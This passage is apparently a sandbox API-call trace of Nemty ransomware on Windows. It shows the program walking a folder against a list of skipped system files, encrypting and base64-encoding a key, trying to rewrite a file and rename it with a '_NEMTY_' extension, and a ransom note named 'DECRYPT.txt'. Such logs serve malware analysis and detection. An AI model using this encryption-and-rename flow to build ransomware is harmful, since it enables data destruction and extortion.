hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2847b57b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2=".") returned 1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="..") returned 1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="...") returned 1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="windows") returned -1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="$RECYCLE.BIN") returned 1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="rsa") returned -1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="NTDETECT.COM") returned 1 [0112.927] lstrcmpiW (lpString1="rings-dock.png", lpString2="ntldr") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="MSDOS.SYS") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="IO.SYS") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="boot.ini") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="boot.ini") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="ntuser.dat") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="desktop.ini") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="CONFIG.SYS") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="RECYCLER") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="BOOTSECT.BAK") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="bootmgr") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="programdata") returned 1 [0112.928] lstrcmpiW (lpString1="rings-dock.png", lpString2="appdata") returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-dock.png", lpUsedDefaultChar=0x0) returned 14 [0112.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-dock.png", lpUsedDefaultChar=0x0) returned 14 [0112.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-dock.png", lpUsedDefaultChar=0x0) returned 14 [0112.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0112.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rings-dock.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rings-dock.png", lpUsedDefaultChar=0x0) returned 14 [0112.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0112.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0112.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0112.929] Sleep (dwMilliseconds=0x5) [0112.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6f727b0, dwHighDateTime=0x1d561e7)) [0112.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6f727b0, dwHighDateTime=0x1d561e7)) [0112.942] GetLastError () returned 0x5 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.942] GetLastError () returned 0x5 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.942] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0112.942] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="Y4XAYFZDImhY9sDmfzhRQD/ylK+naHA0Dk4iwOUH34yb0zESxqqhHe5Yv9l+Y7od\r\ngayRBlC3v5+xC1z7qeH88J1FWJ3zSBGi965Q/IV4N7zYMzVlgvhqgNo8HqJITcF3\r\ntjFEqX2981MuCur1mLtmTtQITNXU8eRgSKwXtYwgun1ZZpv672UaU0Dml2EaThpW\r\nMOfFQHoPiXwlmfB3IF8kj/MDptBlz7zNsm8/B+OyMUz4cnzSm4iR4RrsG8yCQk4T\r\nsI5cGix/9ejpdn7dGGvZV2ys7CmliB+pcliRG8J20HihJu4sy1M52oVDIk6Cihr2\r\niRFx3rSnc24MCEmtnjfcKQ==\r\n", pcchString=0x653e91c) returned 1 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0112.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.942] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.943] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.054] CloseHandle (hObject=0xffffffff) returned 0 [0113.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0113.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0113.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0113.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0113.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\rings-dock.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\rings-dock.png._nemty_kgobjgd_")) returned 0 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0113.055] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf526fb90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf526fb90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf526fb90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0113.055] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0113.056] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, 